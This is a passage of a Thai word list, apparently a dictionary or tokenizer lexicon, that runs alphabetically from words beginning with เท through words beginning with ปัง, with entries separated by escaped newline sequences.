nเทเพนทร์\\nเทโพ\\nเทริด\\nเทลลูเรียม\\nเทวทัณฑ์\\nเทวดา\\nเทวทูต\\nเทวธรรม\\nเทวนาครี\\nเทวนิยม\\nเทวรูป\\nเทวโลก\\nเทววิทยา\\nเทวสถาน\\nเทวศ\\nเทวษ\\nเทวัญ\\nเทวัน\\nเทวาลัย\\nเทวินทร์\\nเทวี\\nเทเวศ\\nเทเวศร์\\nเทเวศวร์\\nเทศ\\nเทศะ\\nเทศาภิบาล\\nเทศน์\\nเทศนา\\nเทห์\\nเท่ห์\\nเทห์ฟากฟ้า\\nเทหวัตถุ\\nเท่อ\\nเท้อ\\nเทอญ\\nเทอม\\nเทอร์เบียม\\nเทอร์โมมิเตอร์\\nเทอะทะ\\nเทา\\nเท่า\\nเท้า\\nเท้ายายม่อม\\nเท่ารึง\\nเทิ่ง\\nเทิด\\nเทิน\\nเทิบ\\nเทิบทาบ\\nเทิ้ม\\nเที่ยง\\nเทียด\\nเทียน\\nเที้ยน\\nเทียบ\\nเทียม\\nเทียร\\nเที้ยร\\nเทียว\\nเที่ยว\\nเทือ\\nเทื่อ\\nเทื้อ\\nเทือก\\nแท้\\nแท็กซี่\\nแทง\\nแท่ง\\nแท้ง\\nแท็งก์\\nแทงทวย\\nแทงวิสัย\\nแทตย์\\nแทน\\nแท่น\\nแทนเจนต์\\nแทนทาลัม\\nแทบ\\nแทรก\\nแทรกเตอร์\\nแทลเลียม\\nแทะ\\nโท\\nโท่\\nโทกเทก\\nโทง\\nโทงเทง\\nโทณะ\\nโทน\\nโทนโท่\\nโทมนัส\\nโทรคมนาคม\\nโทรทรรศน์\\nโทรทัศน์\\nโทรพิมพ์\\nโทรภาพ\\nโทรเลข\\nโทรศัพท์\\nโทรสาร\\nโทรม\\nโทษ\\nโทษา\\nโทษานุโทษ\\nโทสะ\\nโทสาคติ\\nโทโส\\nโทหฬินี\\nไท\\nไท้\\nไทเทเนียม\\nไทเทรต\\nไทย\\nไทร\\nไทวะ\\nธง\\nธงก์\\nธชะ\\nธชี\\nธตรฐ\\nธนบัตร\\nธนสมบัติ\\nธนสาร\\nธนะ\\nธนา\\nธนาคม\\nธนาคาร\\nธนาณัติ\\nธเนศ\\nธโนปจัย\\nธไนศวรรย์\\nธนิต\\nธนิษฐะ\\nธนิษฐา\\nธนุ\\nธนุรวิทยา\\nธนุรเวท\\nธนู\\nธม\\nธมกรก\\nธรณะ\\nธรณิน\\nธรณินทร์\\nธรณิศ\\nธรณิศร\\nธรณิศวร์\\nธรณี\\nธรมาน\\nธรรม\\nธรรมนูญ\\nธรรมยุต\\nธรรมยุติกนิกาย\\nธรรมะ\\nธรรมาทิตย์\\nธรรมาธรรม\\nธรรมาธิปไตย\\nธรรมาธิษฐาน\\nธรรมานุสาร\\nธรรมาภิมุข\\nธรรมาภิสมัย\\nธรรมายตนะ\\nธรรมารมณ์\\nธรรมาสน์\\nธรรมิก\\nธรา\\nธราดล\\nธราธร\\nธราธาร\\nธราธิบดี\\nธราธิป\\nธริษตรี\\nธเรษตรี\\nธเรศ\\nธวัช\\nธัช\\nธัญ\\nธัญญาหาร\\nธันยา\\nธันยาวาท\\nธันวาคม\\nธัมมะ\\nธาดา\\nธาตรี\\nธาตวากร\\nธาตุ\\nธาตุโขภ\\nธาตุมมิสสา\\nธานิน\\nธานินทร์\\nธานี\\nธาร\\nธารกำนัล\\nธารคำนัล\\nธารณะ\\nธารณา\\nธารา\\nธาษตรี\\nธำมรงค์\\nธำรง\\nธิดา\\nธิติ\\nธีระ\\nธุช\\nธุดงค์\\nธุดงควัตร\\nธุต\\nธุตตะ\\nธุมเกตุ\\nธุมา\\nธุรการ\\nธุรกิจ\\nธุระ\\nธุรำ\\nธุลี\\nธุวดารา\\nธุวภาค\\nธุวมณฑล\\nธูป\\nเธนุ\\nเธอ\\nเธียร\\nโธ่\\nโธวนะ\\nนก\\nนกุล\\nนขลิขิต\\nนขะ\\nนขา\\nนเคนทร์\\nนโคทร\\nนคร\\nนครินทร์\\nนคเรศ\\nนง\\nนงคุฐ\\nนที\\nนนตรา\\nนนท์\\nนันทน์\\nนนทรี\\nนนทลี\\nนนทิ\\nนบ\\nนปุงสกลิงค์\\nนปุงสกลึงค์\\nนพ\\nนพนิต\\nนภจร\\nนภดล\\nนภศูล\\nนภา\\nนภาลัย\\nนม\\nนมตำเรีย\\nนมตำเลีย\\nนมะ\\nนมัสการ\\nนมาซ\\nนยนะ\\nนยนา\\nนโยบาย\\nนรชาติ\\nนรเทพ\\nนรนาถ\\nนรบดี\\nนรบาล\\nนรสิงห์\\nนรสีห์\\nนรา\\nนรากร\\nนราธิป\\nนรินทร์\\nนริศ\\nนริศร\\nนริศวร\\nนเรศ\\nนเรศวร\\nนเรศวร์\\nนโรดม\\nนรก\\nนรกานต์\\nนรการ\\nนรี\\nนฤเทพ\\nนฤบดี\\nนฤบาล\\nนฤเบศ\\nนฤปเวศม์\\nนฤปัตนี\\nนฤคหิต\\nนฤนาท\\nนฤมล\\nนฤตย์\\nนฤตยสถาน\\nนฤพาน\\nนฤมาณ\\nนฤมิต\\nนลาฏ\\nนลิน\\nนลินี\\nนวกรรม\\nนวการ\\nนวกิจ\\nนวนิยาย\\nนวปฎล\\nนวรัตน์\\nนวโลหะ\\nนวกะ\\nนวโกวาท\\nนวด\\nนวม\\nน่วม\\nนวมี\\nนวย\\nนวล\\nนวัตกรรม\\nนวาระ\\nนหารุ\\nนหุต\\nนฬการ\\nนอ\\nนอก\\nนอง\\nน่อง\\nน้อง\\nน่องแน่ง\\nนอต\\nนอน\\nนอบ\\nน้อม\\nน้อย\\nน้อยหน่า\\nน้อยโหน่ง\\nนะ\\nนะแน่ง\\nนัก\\nนักขัต\\nนักขัตฤกษ์\\nนักษัตร\\nนักสราช\\nนัข\\nนั่ง\\nนังคัล\\nนัจ\\nนัฑ\\nนัด\\nนัดดา\\nนัตถุ์\\nนั่น\\nนั้น\\nนันททายี\\nนันทนาการ\\nนันทวัน\\nนันทิ\\nนับ\\nนัย\\nนัยน์\\nนัยนา\\nนัว\\nนัวเนีย\\nนา\\nน่า\\nน้า\\nนาก\\nนากบุด\\nนากาสาหรี\\nนาค\\nนาคร\\nนาคา\\nนาคาวโลก\\nนาคินทร์\\nนาคี\\nนาเคนทร์\\nนาเคศวร\\nนาง\\nนางเกล็ด\\nนางนวล\\nนางนูน\\nนางรม\\nนางรำ\\nนางล้อม\\nนางเล็ด\\nนางเลิ้ง\\nนางหงส์\\nนางอาย\\nนางแอ่น\\nนาฏ\\nนาฏกะ\\nนาด\\nนาถ\\nนาท\\nนาที\\nนาน\\nน่าน\\nนานัครส\\nนานัปการ\\nนานา\\nนาเนก\\nนาบ\\nนาภี\\nนาม\\nนามานุกรม\\nนามาภิไธย\\nนาย\\nน่าย\\nนายก\\nนายิกา\\nนารา\\nนารายณ์\\nนารี\\nนาเรศ\\nนาลิวัน\\nนาว\\nน้าว\\nนาวา\\nนาวิก\\nนาวิน\\nนาวี\\nนาเวศ\\nนาศ\\nนาสา\\nนาสิก\\nนาฬิกา\\nนาฬิเก\\nนาฬี\\nนำ\\nน้ำ\\nน้ำละว้า\\nน้ำว้า\\nนิ\\nนิกเกิล\\nนิกขะ\\nนิกร\\nนิกรอยด์\\nนิกาย\\nนิคม\\nนิครนถ์\\nนิคหกรรม\\nนิคหะ\\nนิคหิต\\nนิคาลัย\\nนิเคราะห์\\nนิโคติน\\nนิโครธ\\nนิโครม\\nนิ่ง\\nนิจ\\nนิด\\nนิตย์\\nนิตยทาน\\nนิตยภัต\\nนิตยสาร\\nนิติ\\nนิทร\\nนิทรรศการ\\nนิทรา\\nนิทรารมณ์\\nนิทัศน์\\nนิทาน\\nนิเทศ\\nนิธาน\\nนิธิ\\nนินทา\\nนินนาท\\nนินาท\\nนิบาต\\nนิปริยาย\\nนิปัจการ\\nนิพจน์\\nนิพนธ์\\nนิพพาน\\nนิพพิทา\\nนิพัทธ์\\nนิพันธ์\\nนิพิท\\nนิเพท\\nนิภา\\nนิ่ม\\nนิ้ม\\nนิมนต์\\nนิมมาน\\nนิมมานรดี\\nนิมิต\\nนิยต\\nนิยม\\nนิยัตินิยม\\nนิยาม\\nนิยาย\\nนิยุต\\nนิรคุณ\\nนิรชร\\nนิรชรา\\nนิรทุกข์\\nนิรเทศ\\nนิรโทษ\\nนิรโทษกรรม\\nนิรนัย\\nนิรนาม\\nนิรภัย\\nนิรมล\\nนิรมาน\\nนิรัตศัย\\nนิรันดร\\nนิราพาธ\\nนิรามัย\\nนิรามิษ\\nนิราศรัย\\nนิรินธน์\\nนิรมาณ\\nนิรมิต\\nนิรยบาล\\nนิรัพพุท\\nนิรา\\nนิราศ\\nนิรุกติ\\nนิรุตติ\\nนิรุทธ์\\nนิโรธ\\nนิล\\nนิลุบล\\nนิโลบล\\nนิ่ว\\nนิ้ว\\nนิวคลิอิก\\nนิวเคลียร์\\nนิวเคลียส\\nนิวตรอน\\nนิวรณ์\\nนิวัต\\nนิวัตน์\\nนิวาต\\nนิวาส\\nนิเวศ\\nนิเวศน์\\nนิศา\\nนิษาท\\nนิสัช\\nนิสัชชาการ\\nนิสัย\\nนิสาท\\nนิสิต\\nนิสีทนสันถัต\\nนิสีทนะ\\nนิสีทนาการ\\nนิเสธ\\nนี่\\nนี้\\nนี่นัน\\nนีรนาท\\nนีออน\\nนีโอดิเมียม\\nนึก\\nนึง\\nนึ่ง\\nนุง\\nนุ่ง\\nนุงนัง\\nนุช\\nนุต\\nนุ่น\\nนุ่ม\\nนุ้ย\\nนูน\\nนู่น\\nนู้น\\nเนกขัม\\nเนตบอล\\nเนตร\\nเนติ\\nเน้น\\nเนบิวลา\\nเนปจูน\\nเนปทูเนียม\\nเนมิ\\nเนย\\nเนรกัณฐี\\nเนรคุณ\\nเนรเทศ\\nเนรนาด\\nเนรมิต\\nเนระพูสี\\nเนอ\\nเน้อ\\nเนา\\nเน่า\\nเนาวนิต\\nเนาวรัตน์\\nเนิน\\nเนิ่น\\nเนิบ\\nเนียง\\nเนียน\\nเนียม\\nเนียร\\nเนียรทุกข์\\nเนียรเทศ\\nเนียรนาท\\nเนื้อ\\nเนือง\\nเนื่อง\\nเนือย\\nแน่\\nแน่ง\\nแน่น\\nแนบ\\nแน่บ\\nแนม\\nแนว\\nแน่ว\\nแนะ\\nแน่ะ\\nแนะแหน\\nโน\\nโน้ต\\nโนน\\nโน่น\\nโน้น\\nโนเบเลียม\\nโน้ม\\nโนมพรรณ\\nโนรา\\nโนรี\\nใน\\nไน\\nไนต์คลับ\\nไนโตรเจน\\nไนลอน\\nไนโอเบียม\\nบ่\\nบก\\nบง\\nบ่ง\\nบงก์\\nบ๊งเบ๊ง\\nบงสุ์\\nบด\\nบดินทร์\\nบดี\\nบถ\\nบท\\nบน\\nบ่น\\nบพิตร\\nบพิธ\\nบ่ม\\nบรม\\nบรมัตถ์\\nบรรจง\\nบรรจถรณ์\\nบรรจบ\\nบรรจวบ\\nบรรจุ\\nบรรเจิด\\nบรรณ\\nบรรดา\\nบรรตานึก\\nบรรถร\\nบรรทม\\nบรรทัด\\nบรรทาน\\nบรรทุก\\nบรรเทา\\nบรรเทือง\\nบรรพ\\nบรรพ์\\nบรรพชา\\nบรรพชิต\\nบรรพต\\nบรรยง\\nบรรยงก์\\nบรรยเวกษก์\\nบรรยากาศ\\nบรรยาย\\nบรรลัย\\nบรรลาย\\nบรรลุ\\nบรรเลง\\nบรรโลม\\nบรรษัท\\nบรรสบ\\nบรรสพ\\nบรรสม\\nบรรสาน\\nบรรสาร\\nบรรหาน\\nบรรหาร\\nบรอนซ์\\nบรั่นดี\\nบรัศว์\\nบราลี\\nบริกรรม\\nบริการ\\nบริขาร\\nบริขารโจล\\nบริคณห์\\nบริจาค\\nบริจาริกา\\nบริเฉท\\nบริชน\\nบริดจ์\\nบริบท\\nบริบาล\\nบริบูรณ์\\nบริพนธ์\\nบริพัตร\\nบริพันธ์\\nบริพาชก\\nบริพาร\\nบริภัณฑ์\\nบริภาษ\\nบริโภค\\nบริมาส\\nบริยาย\\nบริรม\\nบริรักษ์\\nบริราช\\nบริวรรต\\nบริวาร\\nบริวาส\\nบริเวณ\\nบริษัท\\nบริสชน\\nบริสุทธิ์\\nบริหาร\\nบล็อก\\nบวก\\nบวง\\nบ่วง\\nบวช\\nบวน\\nบ้วน\\nบวบ\\nบวม\\nบ๊วย\\nบวร\\nบหลิ่ม\\nบอ\\nบ่อ\\nบ้อ\\nบอก\\nบอง\\nบ่อง\\nบ้อง\\nบ๊อง\\nบ้องแบ๊ว\\nบองหลา\\nบอด\\nบอน\\nบ่อน\\nบอบ\\nบ้อม\\nบ๋อม\\nบ่อย\\nบอระเพ็ด\\nบอล\\nบอลลูน\\nบ้อหุ้น\\nบ๊ะ\\nบ๊ะจ่าง\\nบะหมี่\\nบัก\\nบักโกรก\\nบัคเตรี\\nบัง\\nบั้ง\\nบังกะโล\\nบังเกิด\\nบังคน\\nบังคม\\nบังคล\\nบังควร\\nบังคับ\\nบังคัล\\nบังแทรก\\nบังวาย\\nบังเวียน\\nบังสุกุล\\nบังสุกูลิก\\nบังสูรย์\\nบังหวน\\nบังเหตุ\\nบังเหียน\\nบังอร\\nบังอวจ\\nบังอาจ\\nบังเอิญ\\nบัญจก\\nบัญชร\\nบัญชา\\nบัญชี\\nบัญญัติ\\nบัญหา\\nบัฏ\\nบัณฑร\\nบัณฑิต\\nบัณฑิตย์\\nบัณฑุ\\nบัณฑูร\\nบัณเฑาะก์\\nบัณเฑาะว์\\nบัณณาส\\nบัณรส\\nบัณรสี\\nบัด\\nบัดกรี\\nบัดซบ\\nบัดสี\\nบัตร\\nบัทม์\\nบัน\\nบั่น\\nบั้น\\nบันจวบ\\nบันดล\\nบันดาล\\nบันได\\nบันทึก\\nบันทึง\\nบันเทิง\\nบันยะบันยัง\\nบันลือ\\nบัปผาสะ\\nบัพ\\nบัพชา\\nบัพพาชนียกรรม\\nบัล\\nบัลลพ\\nบัลลังก์\\nบัลลูน\\nบัลเลต์\\nบัว\\nบา\\nบ่า\\nบ้า\\nบาก\\nบาง\\nบ่าง\\nบ้าง\\nบาจรีย์\\nบาซิลลัส\\nบาด\\nบาดทะจิต\\nบาดทะพิษ\\nบาดทะยัก\\nบาดาล\\nบาตร\\nบาท\\nบาทสกุณี\\nบาทหลวง\\nบาทาธึก\\nบาทุกา\\nบาน\\nบ้าน\\nบานชื่น\\nบานเช้า\\nบานบุรี\\nบานไม่รู้โรย\\nบานเย็น\\nบ้าบ๋า\\nบาป\\nบาย\\nบ่าย\\nบ้าย\\nบาร์\\nบารนี\\nบารมี\\nบาร์เรล\\nบาร์เลย์\\nบารอมิเตอร์\\nบ้าระบุ่น\\nบาเรียน\\nบาเรียม\\nบาล\\nบาลี\\nบ่าว\\nบ่าวขุน\\nบาศ\\nบาศก์\\nบาสเกตบอล\\nบาหลี\\nบ๋ำ\\nบำเทิง\\nบำนาญ\\nบำบวง\\nบำบัด\\nบำเพ็ญ\\nบำราบ\\nบำราศ\\nบำรุง\\nบำรู\\nบำเรอ\\nบำหยัด\\nบำเหน็จ\\nบิ\\nบิฐ\\nบิณฑบาต\\nบิด\\nบิดร\\nบิดหล่า\\nบิดา\\nบิตุ\\nบิตุจฉา\\nบิตุรงค์\\nบิตุเรศ\\nบิตุลา\\nบิน\\nบิ่น\\nบินยา\\nบิลเลียด\\nบิวเรตต์\\nบิสมัท\\nบี้\\nบีฑา\\nบีตา\\nบีบ\\nบีเยศ\\nบึก\\nบึกบึน\\nบึง\\nบึ่ง\\nบึ้ง\\nบุ\\nบุก\\nบุคคล\\nบุคลากร\\nบุคลาธิษฐาน\\nบุคลิก\\nบุง\\nบุ่ง\\nบุ้ง\\nบุ้งกี๋\\nบุญ\\nบุญญาธิการ\\nบุญญานุภาพ\\nบุญญาภินิหาร\\nบุญญาภิสังขาร\\nบุณฑริก\\nบุณมี\\nบุณย์\\nบุตร\\nบุตรี\\nบุถุชน\\nบุทคล\\nบุนนาค\\nบุบ\\nบุบบิบ\\nบุปผชาติ\\nบุพกรรม\\nบุพการี\\nบุพกิจ\\nบุพชาติ\\nบุพทักษิณ\\nบุพนิมิต\\nบุพบท\\nบุพพาจารย์\\nบุพเพสันนิวาส\\nบุพโพ\\nบุ๋ม\\nบุ่มบ่าม\\nบุ้ย\\nบุรณะ\\nบุรพทิศ\\nบุรพบท\\nบุรพาจารย์\\nบูรพาจารย์\\nบุระ\\nบุราณ\\nบุรินทร์\\nบุริมทิศ\\nบุริมพรรษา\\nบุริมสิทธิ\\nบุรี\\nบุรุษ\\nบุโรทั่ง\\nบุษกร\\nบุษบก\\nบุษบง\\nบุษบัน\\nบุษบา\\nบุษบามินตรา\\nบุษปราค\\nบุษปะ\\nบุษย์\\nบุษย์น้ำทอง\\nบุษยมาส\\nบุษยะ\\nบุษราคัม\\nบุหงัน\\nบุหงา\\nบุหรง\\nบุหรี่\\nบุหลัน\\nบู่\\nบู้\\nบูชนียสถาน\\nบูชา\\nบูชิต\\nบูด\\nบูดู\\nบูร\\nบูรณ์\\nบูรณภาพ\\nบูรณมี\\nบูรณะ\\nบูรณาการ\\nบูรพ์\\nบูรพะ\\nบูรพา\\nเบ้\\nเบ่ง\\nเบ๊จี๋\\nเบญกานี\\nเบญจกัลยาณี\\nเบญจกามคุณ\\nเบญจขันธ์\\nเบญจดุริยางค์\\nเบญจธรรม\\nเบญจบรรพต\\nเบญจพรรณ\\nเบญจเพส\\nเบญจมาศ\\nเบญจรงค์\\nเบญจศก\\nเบญจศีล\\nเบญจะ\\nเบญจา\\nเบญจางค์\\nเบญจางคประดิษฐ์\\nเบญญา\\nเบญพาด\\nเบ็ด\\nเบ็ดเตล็ด\\nเบ็ดเสร็จ\\nเบน\\nเบนซิน\\nเบรก\\nเบริลเลียม\\nเบส\\nเบ้อ\\nเบอร์\\nเบอร์คีเลียม\\nเบ้อเร่อ\\nเบ้อเร่อเท่อ\\nเบ้อเริ่ม\\nเบ้อเริ่มเทิ่ม\\nเบอะ\\nเบอะบะ\\nเบะ\\nเบา\\nเบ้า\\nเบาราณ\\nเบาะ\\nเบิก\\nเบิ่ง\\nเบี้ย\\nเบี่ยง\\nเบียด\\nเบียน\\nเบียร์\\nเบี้ยว\\nเบือ\\nเบื่อ\\nเบื้อ\\nเบื้อง\\nเบือน\\nแบ\\nแบ้\\nแบก\\nแบคทีเรีย\\nแบ่ง\\nแบงก์\\nแบดมินตัน\\nแบตเตอรี่\\nแบน\\nแบนโจ\\nแบบ\\nแบ็บ\\nแบเรียม\\nแบหลา\\nแบะ\\nโบ\\nโบ้\\nโบ๋\\nโบก\\nโบกขรณี\\nโบกขรพรรษ\\nโบชุก\\nโบต\\nโบนัส\\nโบ๊เบ๊\\nโบย\\nโบรมีน\\nโบรอน\\nโบราณ\\nโบสถ์\\nใบ\\nใบ้\\nไบ่\\nปก\\nปกติ\\nปกรณ์\\nปกรณัม\\nปกิณกะ\\nปกีรณัม\\nปโกฏิ\\nปง\\nป่ง\\nปงช้าง\\nปฎล\\nปฏัก\\nปฏิกรณ์\\nปฏิกรรม\\nปฏิการะ\\nปฏิกิริยา\\nปฏิกูล\\nปฏิคม\\nปฏิคหิต\\nปฏิคาหก\\nปฏิฆะ\\nปฏิชีวนะ\\nปฏิญญา\\nปฏิญาณ\\nปฏิทิน\\nปฏิบถ\\nปฏิบัติ\\nปฏิปทา\\nปฏิปักษ์\\nปฏิปัน\\nปฏิปุจฉาพยากรณ์\\nปฏิปุจฉาวาที\\nปฏิพัทธ์\\nปฏิพากย์\\nปฏิภาค\\nปฏิภาณ\\nปฏิมา\\nปฏิมากร\\nปฏิยุทธ์\\nปฏิรพ\\nปฏิรูป\\nปฏิโลม\\nปฏิวัติ\\nปฏิวาต\\nปฏิวาท\\nปฏิเวธ\\nปฏิสนธิ\\nปฏิสวะ\\nปฏิสังขรณ์\\nปฏิสันถาร\\nปฏิสัมภิทา\\nปฏิเสธ\\nปฐพี\\nปฐม\\nปฐวี\\nปณต\\nปณาม\\nปณิธาน\\nปณิธิ\\nปณีต\\nปด\\nปดิวรัดา\\nปติ\\nปถพี\\nปถมัง\\nปถวี\\nปทัฏฐาน\\nปทัสถาน\\nปทานุกรม\\nปทีป\\nปทุม\\nปน\\nป่น\\nปนัดดา\\nปปัญจะ\\nปม\\nปรนัย\\nปรปักษ์\\nปรโลก\\nปรวาที\\nปรก\\nปรกติ\\nปรง\\nปรตยักษ์\\nปรน\\nปรนนิบัติ\\nปรนิมมิตวสวัตดี\\nปรบ\\nปรปักษ์\\nปรมัตถ์\\nปรมาจารย์\\nปรมาณู\\nปรมาภิไธย\\nปรมาภิเษก\\nปรมินทร์\\nบรเมนทร์\\nปรเมศวร์\\nปรเมษฐ์\\nปรวด\\nปรวนแปร\\nปรศุ\\nปรสิต\\nปร๋อ\\nปรองดอง\\nปรอด\\nปรอท\\nปรอย\\nประ\\nประกบ\\nประกฤต\\nประกฤติ\\nประกล\\nประกวด\\nประกวดประขัน\\nประกอบ\\nประกัน\\nประกับ\\nประกาย\\nประกายพรึก\\nประการ\\nประกาศ\\nประกาศนียบัตร\\nประกาศิต\\nประกำ\\nประกิด\\nประกิต\\nประคด\\nประคนธรรพ\\nประคนธรรพ์\\nประคบ\\nประคบประหงม\\nประคอง\\nประคับประคอง\\nประคัลภ์\\nประคำ\\nประคิ่น\\nประคุณ\\nประเคน\\nประเคราะห์\\nประโคน\\nประโคนธรรพ\\nประโคนธรรพ์\\nประโคม\\nประจง\\nประจญ\\nประจบ\\nประจบประแจง\\nประจวบ\\nประจ๋อประแจ๋\\nประจักษ์\\nประจักษนิยม\\nประจัญ\\nประจัน\\nประจาก\\nประจาค\\nประจาน\\nประจำ\\nประจิม\\nประจิ้มประเจ๋อ\\nประจุ\\nประจุคมน์\\nประจุบัน\\nประเจก\\nประเจิด\\nประเจิดประเจ้อ\\nประเจียด\\nประแจ\\nประชด\\nประชน\\nประชวม\\nประชวร\\nประชัน\\nประชา\\nประชาธิปไตย\\nประชิด\\nประชี\\nประชุม\\nประเชิญ\\nประณต\\nประณม\\nประณาม\\nประณิธาน\\nประณิธิ\\nประณีต\\nประณุท\\nประดง\\nประดน\\nประดวน\\nประดอน\\nประดอย\\nประดัก\\nประดักประเดิด\\nประดัง\\nประดับ\\nประดา\\nประดาก\\nประดาป\\nประดาษ\\nประดิชญา\\nประดิดประดอย\\nประดิทิน\\nประดิษฐ์\\nประดิษฐกรรม\\nประดิษฐาน\\nประดุง\\nประดุจ\\nประดู่\\nประเด\\nประเด็น\\nประเดิม\\nประเดียง\\nประเดี๋ยว\\nประเดี๋ยวประด๋าว\\nประแดง\\nประแดะ\\nประโดง\\nประโดย\\nประตง\\nประตัก\\nประตาป\\nประติชญา\\nประติญาณ\\nประติทิน\\nประติมากร\\nประติมากรรม\\nประติรพ\\nประตู\\nประถม\\nประถมจินดา\\nประทม\\nประท้วง\\nประทวน\\nประทักษ์\\nประทักษิณ\\nประทัง\\nประทัด\\nประทับ\\nประทาน\\nประทาย\\nประทาศี\\nประทิน\\nประทิ่น\\nประทีป\\nประทุฐ\\nประทุน\\nประทุษ\\nประทุษฐ์\\nประเทศ\\nประเทา\\nประเทียด\\nประเทียบ\\nประเทือง\\nประธาน\\nประธานาธิบดี\\nประนม\\nประนอ\\nประนอม\\nประนัง\\nประนัปดา\\nประนีประนอม\\nประปราน\\nประปราย\\nประปา\\nประเปรี้ยง\\nประเปรียว\\nประพจน์\\nประพนธ์\\nประพรม\\nประพฤติ\\nประพฤทธิ์\\nประพัด\\nประพัทธ์\\nประพันธ์\\nประพาต\\nประพาส\\nประพาสมหรณพ\\nประพาฬ\\nประพิณ\\nประพิมพ์ประพาย\\nประพุทธ์\\nประเพณี\\nประโพธ\\nประไพ\\nประไพร\\nประภพ\\nประภัสสร\\nประภา\\nประภาคาร\\nประภาพ\\nประภาษ\\nประภาส\\nประเภท\\nประมง\\nประมวล\\nประมาณ\\nประมาท\\nประมุข\\nประมุท\\nประมูล\\nประเมิน\\nประโมง\\nประโมทย์\\nประยงค์\\nประยุกต์\\nประยุทธ์\\nประยุร\\nประยูร\\nประโยค\\nประโยชน์\\nประโรหิต\\nประลมพ์\\nประลอง\\nประลัย\\nประลาต\\nประลาย\\nประลุ\\nประเล่ห์\\nประเล้าประโลม\\nประโลม\\nประวรรต\\nประวรรตน์\\nประวัติ\\nประวาล\\nประวาลปัทม์\\nประวาส\\nประวิง\\nประวิช\\nประวิตร\\nประวิน\\nประวีณ\\nประเวณี\\nประเวศ\\nประเวศน์\\nประศม\\nประศาสน์\\nประศุ\\nประสก\\nประสงค์\\nประสบ\\nประสพ\\nประสม\\nประสะ\\nประสัก\\nประสันนาการ\\nประสัยห์\\nประสา\\nประสาท\\nประสาธน์\\nประสาน\\nประสาร\\nประสิทธิ์\\nประสิทธิผล\\nประสิทธิภาพ\\nประสีประสา\\nประสูต\\nประสูติ\\nประเสบัน\\nประเสบันอากง\\nประเสริฐ\\nประหนึ่ง\\nประหม่า\\nประหยัด\\nประหลาด\\nประหล่ำ\\nประหวัด\\nประหวั่น\\nประหัตประหาร\\nประหาณ\\nประหาร\\nประเหล\\nประเหส\\nประไหมสุหรี\\nประอบ\\nประอร\\nปรัก\\nปรักปรำ\\nปรักมะ\\nปรัง\\nปรัชญา\\nปรัตถจริยา\\nปรัตยุบัน\\nปรัน\\nปรับ\\nปรัมปรา\\nปรัศจิม\\nปรัศนา\\nปรัศนี\\nปรัศว์\\nปรัสสบท\\nปร่า\\nปรากฏ\\nปรากรม\\nปรากฤต\\nปราการ\\nปราง\\nปรางค์\\nปราจีน\\nปราชญ์\\nปราชญา\\nปราชัย\\nปราณ\\nปราณี\\nปราด\\nปราน\\nปรานี\\nปราบ\\nปราบดาภิเษก\\nปราปต์\\nปราม\\nปรามาส\\nปราโมช\\nปราโมทย์\\nปราย\\nปรารถนา\\nปรารภ\\nปรารมภ์\\nปราศ\\nปราศจาก\\nปราศรัย\\nปราษณี\\nปราษาณ\\nปราสัย\\nปราสาท\\nปรำ\\nปริ\\nปริก\\nปริกขาร\\nปริกรรม\\nปริกัป\\nปริคณห์\\nปริจาค\\nปริจาริกา\\nปริเฉท\\nปริชน\\nปริซึม\\nปริญญา\\nปริณาม\\nปริณายก\\nปริต\\nปริตตะ\\nปริตโตทก\\nปริตร\\nปริทรรศน์\\nปริทัยหัคคี\\nปริทัศน์\\nปริเทพ\\nปริเทวะ\\nปรินิพพาน\\nปริบ\\nปริบท\\nปริปันถ์\\nปริพนธ์\\nปริพัตร\\nปริพันธ์\\nปริพาชก\\nปริภัณฑ์\\nปริภาษ\\nปริภูมิ\\nปริโภค\\nปริ่ม\\nปริมณฑล\\nปริมาณ\\nปริมาตร\\nปริยัติ\\nปริยานุช\\nปริยาย\\nปริเยศ\\nปริโยสาน\\nปริวรรต\\nปริวัตร\\nปริวาร\\nปริวาส\\nปริวิตก\\nปริเวณ\\nปริศนา\\nปริษัท\\nปริสัญญู\\nปริสุทธิ\\nปริหาน\\nปริหาร\\nปรี่\\nปรีชญา\\nปรีชา\\nปรี๊ด\\nปรีดา\\nปรีดิ\\nปรีดิ์\\nปรีดี\\nปรีติ\\nปรียะ\\nปรียา\\nปรึก\\nปรึกษา\\nปรึง\\nปรือ\\nปรื๋อ\\nปรุ\\nปรุง\\nปรู\\nปรู๋\\nปรูด\\nปรู๊ด\\nปรู๊ดปร๊าด\\nปรู๊ฟ\\nปฤงคพ\\nปฤจฉา\\nปฤษฎางค์\\nปฤษฐ\\nปลก\\nปลกเปลี้ย\\nปลง\\nปล่ง\\nปลด\\nปล้น\\nปลวก\\nปลอก\\nปล่อง\\nปล้อง\\nปลอด\\nปล้อน\\nปลอบ\\nปลอม\\nปล่อย\\nปละ\\nปลัก\\nปลั๊ก\\nปลัง\\nปลั่ง\\nปลัด\\nปลัดขิก\\nปลา\\nปลาต\\nปลาบ\\nปลาย\\nปลาสเตอร์\\nปลาสนาการ\\nปล้ำ\\nปลิง\\nปลิด\\nปลิ้น\\nปลิโพธ\\nปลิม\\nปลิ่ม\\nปลิว\\nปลี\\nปลีก\\nปลื้ม\\nปลุก\\nปลูก\\nปวกเปียก\\nปวง\\nป่วง\\nปวด\\nป่วน\\nป้วน\\nป้วนเปี้ยน\\nป่วย\\nปวัตน์\\nปวารณา\\nปวาล\\nปวาส\\nปวาฬ\\nปวิช\\nปวิตร\\nปวิธ\\nปวิเวก\\nปวีณ\\nปวุติ\\nปเวณี\\nปเวส\\nปเวสน์\\nปศุ\\nปสันนะ\\nปสันนาการ\\nปสาท\\nปสาน\\nปสาสน์\\nปสุ\\nปสุต\\nปสูติ\\nปหังสนะ\\nปหาน\\nปหาร\\nปหาส\\nปอ\\nป้อ\\nป๋อ\\nปอก\\nปอง\\nป่อง\\nป้อง\\nปอด\\nปอน\\nป้อน\\nปอนด์\\nปอเนาะ\\nปอบ\\nป้อแป้\\nปอม\\nป้อม\\nป๋อม\\nปอย\\nป้อย\\nป้อยอ\\nปะ\\nปะกน\\nปะกัง\\nปะการัง\\nปะกำ\\nปะขาว\\nปะงาบ\\nปะตาปา\\nปะตาระกาหลา\\nปะติดปะต่อ\\nปะติยาน\\nปะทะ\\nปะทะปะทัง\\nปะทุ\\nปะทุน\\nปะปน\\nปะมง\\nปะราลี\\nปะรำ\\nปะไร\\nปะลอม\\nปะเลง\\nปะแล่ม\\nปะโลง\\nปะวะหล่ำ\\nปะหงับ\\nปะหนัน\\nปะหัง\\nปะเหลาะ\\nปัก\\nปักข์\\nปักเป้า\\nปักษ์\\nปักษา\\nปักษิน\\nปักษี\\nปัง\\nปั๋ง\\nปังสุ์\\nปังส